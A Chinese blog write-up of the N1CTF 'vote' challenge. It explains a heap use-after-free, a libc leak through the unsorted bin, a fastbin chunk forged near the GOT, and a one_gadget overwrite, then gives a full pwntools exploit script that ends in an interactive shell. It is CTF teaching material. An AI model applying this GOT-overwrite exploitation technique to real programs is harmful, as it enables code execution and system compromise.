zoukankan      html  css  js  c++  java
  • N1CTF 塞题vote分析

      N1CTF 塞题vote分析:这个题是一个uaf的漏洞题,我们先看看漏洞(如下图),这两部分是很明显的对比的啊。当单独的一个count数组的数据和堆里的数据相同时候,就会释放堆,堆释放后的count还会有指针指向这块内存,释放后我们能够(通过vote)修改数据,典型的uaf。那么我们修改构造(fd)的数据时候,下次申请特定地址的内存的时候,就可以对特定内存进行修改的。

      

    这里的sleep()函数,pthread_create每次调用,都会sleep3秒,所以用脚本vote和cancel的时候总是导致无法触发uaf,调试时候需要在脚本中用time.sleep(3)来完成。

        

     count数组的数值和堆里的fd数值保持一致。

      

       

    我们先来看几个函数,虽然不一定是核心函数,但可以增长知识哈:

    void *memset(void *s, int ch, size_t n);
    函数解释:将s中当前位置后面的n个字节 (typedef unsigned int size_t )用 ch 替换并返回 s 。

    memset:作用是在一段内存块中填充某个给定的值,它是对较大的结构体数组进行清零操作的一种最快方法

     

    解题过程:

    结构体:

        {
            long int count  (malloc data)
            long int time    (malloc data+8)
            char name        (malloc data+16)        
        }

      

    三个位置分别为count,time,name。

     

    构造伪堆,主要构造size和fd的数据:

      

     具体利用过程:

      一、leak地址:

      通过申请0x80(+0x20的堆头)的堆,释放成unsortbins,成双向链表,fd和bk指向main_arena+88,在通过与libc的偏移计算出libc。

      

    二、构造伪堆:

    构造好了伪造的fd之后,如果直接用pthread的地址做伪堆的地址话,会由于size检查导致分配失败。 哦,对了申请了两次伪堆,第一次是为了填充到我们的got表的地址而申请的,方法是在堆的24字节之后伪造堆,第二次是直接向共同表写入数据。 

      

    那么我们来找合适的size

     

     找到合适的size了(如下图),我们需要构造了伪堆的位置就是0x601ffa了。

    成功修改了got的地址为我们的one_gadget的地址了,下面就是执行vote,触发one_gadget执行了。

    利用思路总结

    1.首先leak出libc的地址,通过unsorted bin泄露出其中fd(count)的数据,即是main_arena +88,然后通过偏移计算libc的地址。

    2.通过修改fastbin的fd,构造伪堆,伪堆在got_pthread的附近,然后写入数据,修改got_pthread为one_gadget的地址。

    3.通过vote函数,触发pthread函数,即执行了one_gadget的命令。

    exp如下:

      1 #!/usr/bin/env python
      2 from pwn import*
      3 import time
      4 
      5 local =1
      6 debug = 1
      7 
      8 if local:
      9     p = process('./vote')
     10 
     11 else:
     12     p = remote("127.0.0.1",8080)
     13 
     14 #context.log_level = 'debug'
     15 
     16 def create(num,name):
     17     p.recvuntil("Action:")
     18     p.sendline("0")
     19     p.recvuntil("Please enter the name's size:")
     20     p.sendline(str(num))
     21     p.recvuntil("Please enter the name: ")
     22     p.sendline(name)
     23 
     24 def show(num):
     25     p.recvuntil("Action:")
     26     p.sendline("1")
     27     p.recvuntil("Please enter the index:")
     28     p.sendline(str(num))
     29 
     30 def vote(num):
     31     p.recvuntil("Action:")
     32     p.sendline("2")
     33     p.recvuntil("Please enter the index:")
     34     p.sendline(str(num))
     35 
     36 def cancel(num):
     37     p.recvuntil("Action:")
     38     p.sendline("4")
     39     p.recvuntil("Please enter the index:")
     40     p.sendline(str(num))
     41 def result():
     42     p.recvuntil("Action:")
     43     p.sendline("3")
     44 
     45 def add(num,i):
     46     for i in range(0,i):
     47         vote(str(num))
     48 
     49 #---------------leak addr----------------------------
     50 
     51 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
     52 ppp = libc.symbols['write']
     53 print "write=",hex(ppp)
     54 
     55 #print "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
     56 #raw_input()
     57 
     58 
     59 create(0x80,"AAAA")
     60 create(0x80,"BBBB")
     61 cancel(0)
     62 
     63 #add(0,16)
     64 #vote(0)
     65 #time.sleep(4)
     66 show(0)
     67 
     68 p.recvuntil("count:")
     69 main_arena = p.recv(16)
     70 #main_arena = p.read(15)
     71 print"main_arena =",str(main_arena)
     72 
     73 libc_addr = int(main_arena)-0x3c4b78  
     74 one = libc_addr + 0x4526a
     75 
     76 print "libc_addr=",hex(libc_addr)
     77 print "one=",hex(one)
     78 
     79 
     80 
     81 #time.sleep(5)
     82 
     83 #---------------fake heap----------------------------
     84 #add(0,16)
     85 got_pthread = 0x601ffa #0x602020
     86 print "got_pthread:",hex(got_pthread)
     87 
     88 payload = p64(0x60)+p64(got_pthread) +p64(0xabcdef)
     89 
     90 create(0x40,payload)
     91 create(0x40,"DDDD")
     92 
     93 cancel(2)
     94 cancel(3)
     95 
     96 add(3,24)
     97 create(0x40,"FF")
     98 
     99 #---------------shellcode----------------------------
    100 
    101 #write = libc_addr +0x3da490
    102 write = libc_addr +libc.symbols['write']
    103 #strlen = libc_addr +0x8b720
    104 strlen = libc_addr +libc.symbols['strlen']
    105 shellcode =  "AAAAAA"+ p64(one) + p64(write) + p64(strlen)
    106 #shellcode = "AAAAAA"
    107 
    108 create(0x40,"GG")
    109 
    110 create(0x40,shellcode)
    111 
    112 vote(0)
    113 
    114 
    115 #gdb.attach(p)
    116 p.interactive()
  • 相关阅读:
    linux下weblogic11g成功安装后,启动报错Getting boot identity from user
    小胖说事35-----Terminating app due to uncaught exception 'CALayerInvalidGeometry', reason: 'CALayer posi
    凡客诚品站点打不开:页面显示域名到期了!
    Struts2框架起源
    3、Cocos2dx 3.0游戏开发找小三之搭建开发环境
    android对话框,checkBox,同一时候在同一个页面上保存数据
    使用 C# 开发智能手机软件:推箱子(十八)
    python核心编程——python对象
    设计模式----外观模式
    2014 Multi-University Training Contest 1/HDU4864_Task(贪心)
  • 原文地址:https://www.cnblogs.com/Yable/p/8824590.html
Copyright © 2011-2022 走看看